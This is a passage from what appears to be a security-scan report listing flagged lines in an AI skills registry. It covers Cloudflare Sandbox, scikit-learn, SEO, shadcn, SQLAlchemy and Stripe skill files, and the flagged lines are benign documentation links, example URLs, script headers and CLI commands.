    | Env vars | [Environment variables](https://developers.cloudflare.com/sandbox/sdk/configuration/environment-variables/index.md) |
  • Network accessline 72
    | Files | [Files API](https://developers.cloudflare.com/sandbox/sdk/api/files/index.md) · [Manage files](https://developers.cloudflare.com/sandbox/sdk/guides/manage-files/index.md) · [File watching](https://developers.cloudflare.com/sandbox
  • Network accessline 73
    | Buckets / mounts | [Storage API](https://developers.cloudflare.com/sandbox/sdk/api/storage/index.md) · [Mount buckets](https://developers.cloudflare.com/sandbox/sdk/guides/mount-buckets/index.md) |
  • Network accessline 74
    | Backups | [Backups API](https://developers.cloudflare.com/sandbox/sdk/api/backups/index.md) · [Backup and restore](https://developers.cloudflare.com/sandbox/sdk/guides/backup-restore/index.md) |
  • Network accessline 75
    | Ports, preview URLs, expose | [Ports API](https://developers.cloudflare.com/sandbox/sdk/api/ports/index.md) · [Expose services](https://developers.cloudflare.com/sandbox/sdk/guides/expose-services/index.md) | | Tunnels | [Tunnels API](htt
  • Network accessline 76
    | Tunnels | [Tunnels API](https://developers.cloudflare.com/sandbox/sdk/api/tunnels/index.md) | | Proxy / Workers connections | [Proxy requests](https://developers.cloudflare.com/sandbox/sdk/guides/proxy-requests/index.md) · [Workers connec
  • Network accessline 77
    | Proxy / Workers connections | [Proxy requests](https://developers.cloudflare.com/sandbox/sdk/guides/proxy-requests/index.md) · [Workers connections](https://developers.cloudflare.com/sandbox/sdk/guides/workers-connections/index.md) |
  • Network accessline 78
    | Browser / PTY terminal | [Terminal API](https://developers.cloudflare.com/sandbox/sdk/api/terminal/index.md) · [Terminal concept](https://developers.cloudflare.com/sandbox/sdk/concepts/terminal/index.md) · [Browser terminals](https://deve
  • Network accessline 79
    | Code interpreter | [Interpreter API](https://developers.cloudflare.com/sandbox/sdk/api/interpreter/index.md) · [Code execution](https://developers.cloudflare.com/sandbox/sdk/guides/code-execution/index.md) |
  • Network accessline 80
    | Git in the sandbox | [Git workflows](https://developers.cloudflare.com/sandbox/sdk/guides/git-workflows/index.md) |
  • Network accessline 81
    | Secrets / egress | [Outbound traffic](https://developers.cloudflare.com/sandbox/sdk/guides/outbound-traffic/index.md) |
  • Network accessline 82
    | WebSockets | [WebSocket connections](https://developers.cloudflare.com/sandbox/sdk/guides/websocket-connections/index.md) |
  • Network accessline 83
    | Docker-in-Docker | [Docker in Docker](https://developers.cloudflare.com/sandbox/sdk/guides/docker-in-docker/index.md) |
  • Network accessline 84
    | Production deploy | [Production deployment](https://developers.cloudflare.com/sandbox/sdk/guides/preview-urls-custom-domain/index.md) |
  • Network accessline 85
    | Containers concept | [Containers](https://developers.cloudflare.com/sandbox/sdk/concepts/containers/index.md) |
  • Network accessline 86
    | How-to index | [Guides](https://developers.cloudflare.com/sandbox/sdk/guides/index.md) |
  • Network accessline 87
    | API index | [API reference](https://developers.cloudflare.com/sandbox/sdk/api/index.md) |
  • Network accessline 88
    | Deprecated APIs **while staying on stable** | [2026 deprecation guide](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md) |
  • Network accessline 89
    | Self-deployed bridge | [Bridge](https://developers.cloudflare.com/sandbox/sdk/bridge/index.md) · [Bridge HTTP API](https://developers.cloudflare.com/sandbox/sdk/bridge/http-api/index.md) |
  • Network accessline 90
    | Examples (stable/`main`) | [examples on GitHub](https://github.com/cloudflare/sandbox-sdk/tree/main/examples) |
  • Network accessline 91
    | New work on 1.0 preview | **`sandbox-next`** · [1.0 preview](https://developers.cloudflare.com/sandbox/index.md) |
  • Network accessline 92
    | Port existing app to `@next` | **`sandbox-migrate-to-next`** · [Migrate](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md) |
  • Network accessline 107
    - Typecheck against installed stable types   - No live secrets in sandbox env   - If using deprecated transports/helpers, finish or track [2026 deprecation](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md) cleanup
  • Network accessline 108
    - No live secrets in sandbox env   - If using deprecated transports/helpers, finish or track [2026 deprecation](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md) cleanup   - When the team is ready for 1.0, use **`sandbox-migra
  • Network accessline 109
    - If using deprecated transports/helpers, finish or track [2026 deprecation](https://developers.cloudflare.com/sandbox/sdk/migrate/index.md) cleanup

packages/autoskills/skills-registry/scikit-learn/SKILL.md

  • Network accessline 512
    - Official Documentation: https://scikit-learn.org/stable/
  • Network accessline 513
    - User Guide: https://scikit-learn.org/stable/user_guide.html
  • Network accessline 514
    - API Reference: https://scikit-learn.org/stable/api/index.html
  • Network accessline 515
    - Examples Gallery: https://scikit-learn.org/stable/auto_examples/index.html

packages/autoskills/skills-registry/scikit-learn/references/quick_reference.md

  • Network accessline 429
    - Official Documentation: https://scikit-learn.org/stable/
  • Network accessline 430
    - User Guide: https://scikit-learn.org/stable/user_guide.html
  • Network accessline 431
    - API Reference: https://scikit-learn.org/stable/api/index.html
  • Network accessline 432
    - Examples: https://scikit-learn.org/stable/auto_examples/index.html
  • Network accessline 433
    - Tutorials: https://scikit-learn.org/stable/tutorial/index.html

packages/autoskills/skills-registry/scikit-learn/scripts/classification_pipeline.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/scikit-learn/scripts/clustering_analysis.py

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/senior-data-scientist/scripts/experiment_designer.py

  • Executable scriptline 1
    #!/usr/bin/env python3

packages/autoskills/skills-registry/senior-data-scientist/scripts/feature_engineering_pipeline.py

  • Executable scriptline 1
    #!/usr/bin/env python3

packages/autoskills/skills-registry/senior-data-scientist/scripts/model_evaluation_suite.py

  • Executable scriptline 1
    #!/usr/bin/env python3

packages/autoskills/skills-registry/seo/SKILL.md

  • Network accessline 53
    Sitemap: https://example.com/sitemap.xml
  • Network accessline 73
    <!-- Prevent duplicate content issues --> <link rel="canonical" href="https://example.com/page">
  • Network accessline 74
    <link rel="canonical" href="https://example.com/page">
  • Network accessline 76
    <!-- Self-referencing canonical (recommended) --> <link rel="canonical" href="https://example.com/current-page">
  • Network accessline 77
    <link rel="canonical" href="https://example.com/current-page">
  • Network accessline 79
    <!-- For paginated content --> <link rel="canonical" href="https://example.com/products">
  • Network accessline 80
    <link rel="canonical" href="https://example.com/products">
  • Network accessline 87
    <?xml version="1.0" encoding="UTF-8"?> <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  • Network accessline 88
    <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  • Network accessline 89
    <url>     <loc>https://example.com/</loc>     <lastmod>2024-01-15</lastmod>
  • Network accessline 90
    <loc>https://example.com/</loc>
  • Network accessline 94
    </url>   <url>     <loc>https://example.com/products</loc>
  • Network accessline 95
    <url>     <loc>https://example.com/products</loc>     <lastmod>2024-01-14</lastmod>
  • Network accessline 96
    <loc>https://example.com/products</loc>
  • Network accessline 114
    ✅ Good URLs: https://example.com/products/blue-widget
  • Network accessline 115
    https://example.com/products/blue-widget
  • Network accessline 116
    https://example.com/blog/how-to-use-widgets
  • Network accessline 118
    ❌ Poor URLs: https://example.com/p?id=12345
  • Network accessline 119
    https://example.com/p?id=12345
  • Network accessline 120
    https://example.com/products/item/category/subcategory/blue-widget-2024-sale-discount
  • Network accessline 134
    <!-- Ensure all resources use HTTPS --> <img src="https://example.com/image.jpg">
  • Network accessline 135
    <img src="https://example.com/image.jpg">
  • Network accessline 137
    <!-- Not: --> <img src="http://example.com/image.jpg">
  • Network accessline 138
    <img src="http://example.com/image.jpg">
  • Network accessline 170
    Treat title-link rewriting separately from truncation. Google may build a different title link from the visible page title, headings, anchor text, and other sources even when the `<title>` is short; investigate accuracy and consistency rath
  • Network accessline 283
    Training controls such as `GPTBot` and `ClaudeBot` are distinct from search and user-fetch controls. `GoogleOther` is a generic crawler, not an AI-search visibility switch. Verify current names and consequences in the vendors' maintained do
  • Network accessline 343
    <!-- For multi-language sites --> <link rel="alternate" hreflang="en" href="https://example.com/page">
  • Network accessline 344
    <link rel="alternate" hreflang="en" href="https://example.com/page">
  • Network accessline 345
    <link rel="alternate" hreflang="es" href="https://example.com/es/page">
  • Network accessline 346
    <link rel="alternate" hreflang="fr" href="https://example.com/fr/page">
  • Network accessline 347
    <link rel="alternate" hreflang="x-default" href="https://example.com/page">
  • Network accessline 406
    - [Google Search Central](https://developers.google.com/search)
  • Network accessline 407
    - [Schema.org](https://schema.org/)

packages/autoskills/skills-registry/seo/references/STRUCTURED-DATA.md

  • Network accessline 8
    <script type="application/ld+json"> {   "@context": "https://schema.org",
  • Network accessline 9
    {   "@context": "https://schema.org",   "@type": "Organization",
  • Network accessline 10
    "@context": "https://schema.org",
  • Network accessline 11
    "@type": "Organization",   "name": "Example Company",   "url": "https://example.com",
  • Network accessline 12
    "name": "Example Company",   "url": "https://example.com",   "logo": "https://example.com/logo.png",
  • Network accessline 13
    "url": "https://example.com",
  • Network accessline 14
    "logo": "https://example.com/logo.png",
  • Network accessline 15
    "sameAs": [     "https://twitter.com/example",     "https://linkedin.com/company/example"
  • Network accessline 16
    "https://twitter.com/example",
  • Network accessline 17
    "https://linkedin.com/company/example"
  • Network accessline 31
    <script type="application/ld+json"> {   "@context": "https://schema.org",
  • Network accessline 32
    {   "@context": "https://schema.org",   "@type": "Article",
  • Network accessline 33
    "@context": "https://schema.org",
  • Network accessline 35
    "headline": "How to Choose the Right Widget",   "description": "Complete guide to selecting widgets for your needs.",   "image": "https://example.com/article-image.jpg",
  • Network accessline 36
    "description": "Complete guide to selecting widgets for your needs.",   "image": "https://example.com/article-image.jpg",   "author": {
  • Network accessline 37
    "image": "https://example.com/article-image.jpg",
  • Network accessline 39
    "@type": "Person",     "name": "Jane Smith",     "url": "https://example.com/authors/jane-smith"
  • Network accessline 40
    "name": "Jane Smith",     "url": "https://example.com/authors/jane-smith"   },
  • Network accessline 41
    "url": "https://example.com/authors/jane-smith"
  • Network accessline 46
    "logo": {       "@type": "ImageObject",       "url": "https://example.com/logo.png"
  • Network accessline 47
    "@type": "ImageObject",       "url": "https://example.com/logo.png"     }
  • Network accessline 48
    "url": "https://example.com/logo.png"
  • Network accessline 60
    <script type="application/ld+json"> {   "@context": "https://schema.org",
  • Network accessline 61
    {   "@context": "https://schema.org",   "@type": "Product",
  • Network accessline 62
    "@context": "https://schema.org",
  • Network accessline 63
    "@type": "Product",   "name": "Blue Widget Pro",   "image": "https://example.com/blue-widget.jpg",
  • Network accessline 64
    "name": "Blue Widget Pro",   "image": "https://example.com/blue-widget.jpg",   "description": "Premium blue widget with advanced features.",
  • Network accessline 65
    "image": "https://example.com/blue-widget.jpg",
  • Network accessline 73
    "price": "49.99",     "priceCurrency": "USD",     "availability": "https://schema.org/InStock",
  • Network accessline 74
    "priceCurrency": "USD",     "availability": "https://schema.org/InStock",     "url": "https://example.com/products/blue-widget"
  • Network accessline 75
    "availability": "https://schema.org/InStock",
  • Network accessline 76
    "url": "https://example.com/products/blue-widget"
  • Network accessline 90
    <script type="application/ld+json"> {   "@context": "https://schema.org",
  • Network accessline 91
    {   "@context": "https://schema.org",   "@type": "FAQPage",
  • Network accessline 92
    "@context": "https://schema.org",
  • Network accessline 119
    <script type="application/ld+json"> {   "@context": "https://schema.org",
  • Network accessline 120
    {   "@context": "https://schema.org",   "@type": "BreadcrumbList",
  • Network accessline 121
    "@context": "https://schema.org",
  • Network accessline 126
    "position": 1,       "name": "Home",       "item": "https://example.com"
  • Network accessline 127
    "name": "Home",       "item": "https://example.com"     },
  • Network accessline 128
    "item": "https://example.com"
  • Network accessline 132
    "position": 2,       "name": "Products",       "item": "https://example.com/products"
  • Network accessline 133
    "name": "Products",       "item": "https://example.com/products"     },
  • Network accessline 134
    "item": "https://example.com/products"
  • Network accessline 138
    "position": 3,       "name": "Blue Widgets",       "item": "https://example.com/products/blue-widgets"
  • Network accessline 139
    "name": "Blue Widgets",       "item": "https://example.com/products/blue-widgets"     }
  • Network accessline 140
    "item": "https://example.com/products/blue-widgets"
  • Network accessline 149
    Test structured data at: - [Google Rich Results Test](https://search.google.com/test/rich-results)
  • Network accessline 150
    - [Google Rich Results Test](https://search.google.com/test/rich-results)
  • Network accessline 151
    - [Schema.org Validator](https://validator.schema.org/)

packages/autoskills/skills-registry/shadcn/SKILL.md

  • Broad permissionsline 1
    Bash(npx shadcn@latest *), Bash(pnpm dlx shadcn@latest *), Bash(bunx --bun shadcn@latest *)
  • Network accessline 279
    **Named presets:** `nova`, `vega`, `maia`, `lyra`, `mira`, `luma` **Templates:** `next`, `vite`, `start`, `react-router`, `astro` (all support `--monorepo`) and `laravel` (not supported for monorepo) **Preset codes:** Version-prefixed base6
  • Network accessline 281
    **Preset codes:** Version-prefixed base62 strings (e.g. `a2r6bw` or `b0`), from [ui.shadcn.com](https://ui.shadcn.com).

packages/autoskills/skills-registry/shadcn/assets/showcase/color-pair.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/shadcn/assets/showcase/state-matrix.tsx

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/shadcn/cli.md

  • Network accessline 106
    # Works with URLs too. npx shadcn@latest add https://api.npoint.io/abc123 --dry-run
  • Network accessline 107
    npx shadcn@latest add https://api.npoint.io/abc123 --dry-run
  • Network accessline 173
    input   docs      https://ui.shadcn.com/docs/components/radix/input
  • Network accessline 174
    docs      https://ui.shadcn.com/docs/components/radix/input
  • Network accessline 175
    examples  https://raw.githubusercontent.com/.../examples/input-example.tsx
  • Network accessline 177
    button   docs      https://ui.shadcn.com/docs/components/radix/button
  • Network accessline 178
    docs      https://ui.shadcn.com/docs/components/radix/button
  • Network accessline 179
    examples  https://raw.githubusercontent.com/.../examples/button-example.tsx
  • Network accessline 275
    1. **Named:** `--preset nova` or `--preset lyra` 2. **Code:** `--preset a2r6bw` (version-prefixed base62 string, e.g. `a2r6bw` or `b0`) 3. **URL:** `--preset "https://ui.shadcn.com/init?base=radix&style=nova&..."`
  • Network accessline 277
    3. **URL:** `--preset "https://ui.shadcn.com/init?base=radix&style=nova&..."`

packages/autoskills/skills-registry/shadcn/customization.md

  • Network accessline 79
    # Use a custom theme URL. npx shadcn@latest apply --preset "https://ui.shadcn.com/init?base=radix&style=nova&theme=blue&..."
  • Network accessline 80
    npx shadcn@latest apply --preset "https://ui.shadcn.com/init?base=radix&style=nova&theme=blue&..."

packages/autoskills/skills-registry/shadcn/mcp.md

  • Network accessline 90
    {   "registries": {     "@acme": "https://acme.com/r/{name}.json",
  • Network accessline 91
    "registries": {     "@acme": "https://acme.com/r/{name}.json",     "@private": {
  • Network accessline 92
    "@acme": "https://acme.com/r/{name}.json",
  • Network accessline 93
    [Credential-related source omitted]
  • Network accessline 94
    "url": "https://private.com/r/{name}.json",
  • Access to secretsline 95
    [Credential-related source omitted]
  • Network accessline 105
    Community registry index: `https://ui.shadcn.com/r/registries.json`

packages/autoskills/skills-registry/shadcn/registry.md

  • Network accessline 28
    {   "$schema": "https://ui.shadcn.com/schema/registry.json",
  • Network accessline 29
    "$schema": "https://ui.shadcn.com/schema/registry.json",
  • Network accessline 30
    "name": "acme",   "homepage": "https://acme.com",   "items": [
  • Network accessline 31
    "homepage": "https://acme.com",
  • Network accessline 61
    {   "$schema": "https://ui.shadcn.com/schema/registry.json",
  • Network accessline 62
    "$schema": "https://ui.shadcn.com/schema/registry.json",
  • Network accessline 63
    "name": "acme",   "homepage": "https://acme.com",   "include": ["registry/ui/registry.json", "registry/blocks/registry.json"]
  • Network accessline 64
    "homepage": "https://acme.com",
  • Network accessline 186
    | `@acme/button`                      | namespace | Item `button` from configured registry `@acme`.              | | `@acme/ui/button`                   | namespace | Item `ui/button` from configured registry `@acme`.           | | `https:/
  • Network accessline 187
    | `@acme/ui/button`                   | namespace | Item `ui/button` from configured registry `@acme`.           | | `https://example.com/r/button.json` | url       | Built registry item JSON at that URL.                        | | `./butto
  • Network accessline 188
    | `https://example.com/r/button.json` | url       | Built registry item JSON at that URL.                        |
  • Network accessline 227
    -> resolve ref with git ls-remote   -> commit SHA   -> read https://raw.githubusercontent.com/{owner}/{repo}/{sha}/registry.json
  • Network accessline 228
    -> commit SHA   -> read https://raw.githubusercontent.com/{owner}/{repo}/{sha}/registry.json   -> read includes and item files from the same SHA
  • Network accessline 229
    -> read https://raw.githubusercontent.com/{owner}/{repo}/{sha}/registry.json

packages/autoskills/skills-registry/shadcn/scripts/showcase-coverage.mjs

  • Executable scriptline 1
    #!/usr/bin/env node

packages/autoskills/skills-registry/sqlalchemy/SKILL.md

  • Network accessline 1001
    > Derived from CAST Highlight SQL code-quality indicators > (https://doc.casthighlight.com/), cross-referenced with the SQL standard and SonarSource
  • Network accessline 1002
    > (https://doc.casthighlight.com/), cross-referenced with the SQL standard and SonarSource
  • Network accessline 1007
    - [SQLAlchemy 2.0 Documentation](https://docs.sqlalchemy.org/en/20/)
  • Network accessline 1008
    - [Alembic Documentation](https://alembic.sqlalchemy.org/)
  • Network accessline 1009
    - [FastAPI SQLAlchemy Guide](https://fastapi.tiangolo.com/tutorial/sql-databases/)
  • Network accessline 1010
    - [SQLAlchemy Type Annotations](https://docs.sqlalchemy.org/en/20/orm/declarative_tables.html#mapped-column-derives-the-datatype-and-nullability-from-the-mapped-annotation)

packages/autoskills/skills-registry/sqlalchemy/references/sql-quality-antipatterns.md

  • Network accessline 8
    > **Source note:** These patterns are derived from CAST Highlight's SQL code-quality > indicators (https://doc.casthighlight.com/), cross-referenced with the SQL standard and
  • Network accessline 9
    > indicators (https://doc.casthighlight.com/), cross-referenced with the SQL standard and

packages/autoskills/skills-registry/stripe-best-practices/SKILL.md

  • Network accessline 21
    Development and testing environment default: For new integration development, use separate [sandboxes](https://docs.stripe.com/sandboxes.md) instead of the account’s shared test mode sandbox. Sandboxes isolate settings and test data from li
  • Network accessline 35
    If you don’t have a Stripe account, you can use the CLI to generate a sandbox test account with no registration required. Install the Stripe CLI (`npm i -g @stripe/cli`) and run the command `stripe sandbox create`, which creates test API ke
  • Network accessline 41
    API key default: Always recommend a [restricted API key (RAK)](https://docs.stripe.com/keys.md#manage-your-api-keys) (`rk_` prefix) over a secret key (`sk_` prefix).
  • Network accessline 63
    - *Never include `payment_method_types` in any Stripe API call*, with one exception: Terminal (in-person payments) integrations must pass `payment_method_types: ['card_present']` on the PaymentIntent. For all other integrations, omit this p
  • Access to secretsline 71
    [Credential-related source omitted]
  • Network accessline 77
    - [Integration Options](https://docs.stripe.com/payments/payment-methods/integration-options.md) — Start here when designing any integration.
  • Network accessline 78
    - [API Tour](https://docs.stripe.com/payments-api/tour.md) — Overview of Stripe’s API surface.
  • Network accessline 79
    - [Go Live Checklist](https://docs.stripe.com/get-started/checklist/go-live.md) — Review before launching.

packages/autoskills/skills-registry/stripe-best-practices/references/billing.md

  • Network accessline 13
    If the user has a recurring revenue model (subscriptions, usage-based billing, seat-based pricing), use the Billing APIs to [plan their integration](https://docs.stripe.com/billing/subscriptions/design-an-integration.md) instead of a direct
  • Network accessline 15
    Review the [Subscription Use Cases](https://docs.stripe.com/billing/subscriptions/use-cases.md) and [SaaS guide](https://docs.stripe.com/saas.md) to find the right pattern for the user’s pricing model.
  • Network accessline 21
    For self-service subscription management (upgrades, downgrades, cancellation, payment method updates), recommend the [Customer Portal](https://docs.stripe.com/customer-management/integrate-customer-portal.md).
  • Network accessline 27
    **For any new usage-based billing integration, recommend [Metronome](https://docs.stripe.com/billing/usage-based.md) — not the Billing Meters API.** Metronome is the primary Stripe platform for usage-based billing and handles metering, rati
  • Network accessline 45
    Read [Compare basic usage-based billing and Metronome](https://docs.stripe.com/billing/subscriptions/usage-based/compare-metronome.md) for a full feature comparison. Read [Get started with Metronome](https://docs.stripe.com/billing/usage-ba
  • Network accessline 47
    For a flat or per-seat fee plus usage, keep the fee on the existing Stripe Subscription by default and add Metronome only for the usage component (the “Metronome with Stripe Subscriptions” pattern). Create the Metronome customer with the St
  • Network accessline 49
    **Before answering any Metronome implementation question or writing any Metronome code** (usage event ingestion, billable metrics, contracts and rate cards, credits and commits, invoicing, or syncing Metronome invoices to Stripe), use the `
  • Network accessline 53
    **When answering any Billing setup or subscription question, always include a brief Stripe Tax note before finishing your response.** Example: “One more thing — if you’ll be charging US or EU customers, you’ll need to consider enabling Stri
  • Network accessline 57
    - Don’t call a subscription integration complete without a webhook handler for the subscription lifecycle events (`customer.subscription.*`, `invoice.paid`, `invoice.payment_failed`). Subscription state changes happen asynchronously and aft
  • Network accessline 58
    - Don’t call a production Checkout subscription integration complete without also handling the risk-side events that affect subscription charges: `charge.dispute.created`, `charge.refunded`, and `radar.early_fraud_warning.created`. An integ
  • Network accessline 59
    - If the integration maintains a local copy of Customer data (email, name, address, default payment method), also handle `customer.updated` so local records stay in sync. For Accounts v2 integrations, the equivalents are `v2.core.account[co
  • Network accessline 60
    - Don’t build manual subscription renewal loops using raw PaymentIntents. Use the Billing APIs which handle renewal, retry logic, and dunning automatically. - Don’t use the deprecated `plan` object. Use [Prices](https://docs.stripe.com/api/
  • Network accessline 61
    - Don’t use the deprecated `plan` object. Use [Prices](https://docs.stripe.com/api/prices.md) instead.
  • Network accessline 62
    - Don’t put prices for different tiers or plans on a single product. Instead, create one Product for each plan a customer can choose. For example, Starter, Professional, and Enterprise must each be a separate Product. Only attach multiple P
  • Network accessline 63
    - Don’t skip tax setup, and don’t assume enabling `automatic_tax` is enough. Stripe collects no tax (and returns no error) until the user has an active registration. See [Collect taxes for recurring payments](https://docs.stripe.com/billing
  • Network accessline 64
    - *Never pass `payment_method_types` when creating a subscription Checkout Session.* Omit the parameter entirely—Stripe dynamically determines eligible payment methods from Dashboard settings. Hardcoding `payment_method_types: ['card']` loc
  • Network accessline 77
    - *Don’t map asynchronous Stripe events to application objects through metadata by default.* Resolve each event through Stripe’s object graph to the first-class Stripe resource that represents the application’s ownership boundary, then map 

packages/autoskills/skills-registry/stripe-best-practices/references/connect.md

  • Network accessline 43
    If dashboard is `express`, provide access through [login links](https://docs.stripe.com/api/accounts/login_link/create.md). For `full`, recommend linking to Stripe-provided dashboard access from the platform UI. You can also use embedded co
  • Network accessline 51
    - `losses_collector: "stripe"` — Stripe owns negative balance liability - Charge pattern: Direct charges (connected account is merchant of record) - Code sample: [/connect/saas/tasks/create#code-sample](https://docs.stripe.com/connect/saas/
  • Network accessline 53
    - Code sample: [/connect/saas/tasks/create#code-sample](https://docs.stripe.com/connect/saas/tasks/create.md#code-sample)
  • Network accessline 59
    - `losses_collector: "application"` — platform owns negative balance liability (required for transfer reversals during disputes) - Charge pattern: Destination charges (platform is merchant of record) - Code sample: [/connect/marketplace/tas
  • Network accessline 61
    - Code sample: [/connect/marketplace/tasks/create#code-sample](https://docs.stripe.com/connect/marketplace/tasks/create.md#code-sample)
  • Network accessline 107
    - If platform fee is low (< ~4%), recommend including estimated Stripe fees in `application_fee_amount` to preserve margin - Refer to [stripe.com/pricing](https://stripe.com/pricing) for region-specific rates
  • Network accessline 108
    - Refer to [stripe.com/pricing](https://stripe.com/pricing) for region-specific rates
  • Network accessline 114
    Always use webhooks for reliable payment confirmation. Do not rely solely on synchronous API responses — webhook events are the source of truth for payment status. Verify incoming [webhook signatures](https://docs.stripe.com/webhooks.md#ver
  • Network accessline 170
    - [SaaS platforms and marketplaces guide](https://docs.stripe.com/connect/saas-platforms-and-marketplaces.md) — Choosing the right integration approach.
  • Network accessline 171
    - [Interactive platform guide](https://docs.stripe.com/connect/interactive-platform-guide.md) — Step-by-step platform builder.
  • Network accessline 172
    - [Design an integration](https://docs.stripe.com/connect/design-an-integration.md) — Detailed risk and responsibility decisions.
  • Network accessline 173
    - [Connected account configuration (v2)](https://docs.stripe.com/connect/accounts-v2/connected-account-configuration.md) — Account setup reference.

packages/autoskills/skills-registry/stripe-best-practices/references/payments.md

  • Network accessline 16
    Use the [Checkout Sessions API](https://docs.stripe.com/api/checkout/sessions.md) (`checkout.sessions.create`) for on-session payments. It supports one-time payments and subscriptions and handles discounts, shipping, and adaptive pricing au
  • Network accessline 18
    Use the [Payment Intents API](https://docs.stripe.com/payments/paymentintents/lifecycle.md) for off-session payments, or when the user needs to model checkout state independently and create a charge.
  • Network accessline 28
    1. **Payment Links** — No-code. Best for simple products. 2. **Checkout** ([docs](https://docs.stripe.com/payments/checkout.md)) — Stripe-hosted or embedded form. Best for most web apps.
  • Network accessline 29
    2. **Checkout** ([docs](https://docs.stripe.com/payments/checkout.md)) — Stripe-hosted or embedded form. Best for most web apps.
  • Network accessline 30
    3. **Payment Element** ([docs](https://docs.stripe.com/payments/payment-element.md)) — Embedded UI component for advanced customization.
  • Network accessline 33
    **Traps to avoid:** Don’t recommend the legacy Card Element or the Payment Element in card-only mode. If the user asks for the Card Element, advise them to [migrate to the Payment Element](https://docs.stripe.com/payments/payment-element/mi
  • Network accessline 37
    For surcharging or inspecting card details before payment (e.g., rendering the Payment Element before creating a PaymentIntent or SetupIntent): use [Confirmation Tokens](https://docs.stripe.com/payments/finalize-payments-on-the-server.md). 
  • Network accessline 41
    Use the [Setup Intents API](https://docs.stripe.com/api/setup_intents.md) to save a payment method for later use.
  • Network accessline 47
    Drive fulfillment from an [event handler](https://docs.stripe.com/checkout/fulfillment.md), not from the success or return page. Customers aren’t guaranteed to visit the landing page — for example, someone can pay successfully and then lose
  • Network accessline 59
    - Never describe webhook setup as “optional”, “nice to have”, or something to skip for a first pass. If the integration is a proof of concept, say webhooks are recommended now and required before launch or before adding subscriptions — don’
  • Network accessline 61
    - Always [verify event signatures](https://docs.stripe.com/webhooks.md#verify-events) before processing an event. Read the security skill reference for webhook signing secret handling.
  • Network accessline 65
    *Never pass `payment_method_types` to any Stripe API call*, except for Terminal (in-person payments) integrations. Omitting this parameter enables [dynamic payment methods](https://docs.stripe.com/payments/payment-methods/dynamic-payment-me
  • Network accessline 77
    See the [integration options guide](https://docs.stripe.com/payments/payment-methods/integration-options.md) for full details on dynamic versus manual configuration.
  • Network accessline 81
    - Never hardcode `payment_method_types: ['card']` even if the user only mentions credit cards. Dynamic payment methods enable other eligible payment methods automatically, improving conversion. - If the user wants to customize which payment
  • Network accessline 82
    - If the user wants to customize which payment methods appear on a PaymentIntent or SetupIntent, use [payment_method_configurations](https://docs.stripe.com/payments/payment-method-configurations.md) to manage methods per-integration, `excl
  • Network accessline 83
    - If the user has a custom frontend that renders UI for specific payment method types, ensure those methods are enabled in their [payment method settings](https://dashboard.stripe.com/settings/payment_methods) or `payment_method_configurati
  • Network accessline 87
    Never recommend the Charges API. If the user wants to use the Charges API, advise them to [migrate to Checkout Sessions or PaymentIntents](https://docs.stripe.com/payments/payment-intents/migration/charges.md).
  • Network accessline 91
    | API | Status | Use instead | Migration guide | | --- | --- | --- | --- | | Charges API | Never use | Checkout Sessions or PaymentIntents | [Migration guide](https://docs.stripe.com/payments/payment-intents/migration/charges.md) |
  • Network accessline 92
    | --- | --- | --- | --- | | Charges API | Never use | Checkout Sessions or PaymentIntents | [Migration guide](https://docs.stripe.com/payments/payment-intents/migration/charges.md) | | Sources API | Deprecated | Setup Intents | [Setup Inten
  • Network accessline 93
    | Charges API | Never use | Checkout Sessions or PaymentIntents | [Migration guide](https://docs.stripe.com/payments/payment-intents/migration/charges.md) |
  • Network accessline 94
    | Sources API | Deprecated | Setup Intents | [Setup Intents docs](https://docs.stripe.com/api/setup_intents.md) |
  • Network accessline 96
    | Card Element | Legacy | Payment Element | [Migration guide](https://docs.stripe.com/payments/payment-element/migration.md) |
  • Network accessline 100
    If a PCI-compliant user asks about sending server-side raw PAN data, advise them that they may need to prove PCI compliance to access options like [payment_method_data](https://docs.stripe.com/api/payment_intents/create.md#create_payment_in
  • Network accessline 102
    For users migrating PAN data from another acquirer or payment processor, point them to [the PAN import process](https://docs.stripe.com/get-started/data-migrations/pan-import.md).

packages/autoskills/skills-registry/stripe-best-practices/references/security.md

  • Network accessline 26
    - **Google Cloud**: Use Secret Manager and give read permissions only to the application that needs it. - **Azure**: Use Azure Key Vault and give read permissions only to the application that needs it. - **Vercel**: Vercel doesn’t offer a b
  • Network accessline 27
    - **Azure**: Use Azure Key Vault and give read permissions only to the application that needs it. - **Vercel**: Vercel doesn’t offer a built-in secrets vault, but several third-party add-ons can provide one that synchronizes secrets with en
  • Network accessline 28
    - **Vercel**: Vercel doesn’t offer a built-in secrets vault, but several third-party add-ons can provide one that synchronizes secrets with environment variables on Vercel. Use a [sensitive environment variable](https://vercel.com/docs/envi
  • Network accessline 33
    - Never share secret keys with third parties. If the user needs to share a key with a third party (for example, a third party that handles billing), it is best to generate a restricted API key (RAK) with minimal permissions. - Rotate Stripe
  • Network accessline 34
    - Rotate Stripe API keys when personnel with access to those keys depart. - Read [best practices for managing secret API keys](https://docs.stripe.com/keys-best-practices.md). - Code must never log keys or include them in error messages or 
  • Network accessline 35
    - Read [best practices for managing secret API keys](https://docs.stripe.com/keys-best-practices.md).
  • Network accessline 44
    **Traps to avoid:** Do not embed keys in client-side code, mobile apps, or any code that runs outside your own infrastructure. Do not suggest that users substitute a real secret key into example code — point them to [best practices for mana
  • Network accessline 48
    Use [restricted API keys](https://docs.stripe.com/keys.md#manage-your-api-keys) (prefix `rk_`) instead of secret keys (prefix `sk_`) wherever possible. RAKs have only the permissions you assign, so a compromised RAK can do far less damage t
  • Network accessline 54
    1. Review the secret key’s request logs in Workbench to catalog which API calls it makes. 2. Create a RAK in test mode with matching permissions. 3. Use the [Stripe CLI](https://docs.stripe.com/cli.md)’s `stripe logs tail` command to watch 
  • Network accessline 55
    2. Create a RAK in test mode with matching permissions. 3. Use the [Stripe CLI](https://docs.stripe.com/cli.md)’s `stripe logs tail` command to watch logs. 4. Test your integration with the RAK; fix any `403` errors by adding missing permis
  • Network accessline 56
    3. Use the [Stripe CLI](https://docs.stripe.com/cli.md)’s `stripe logs tail` command to watch logs.
  • Network accessline 65
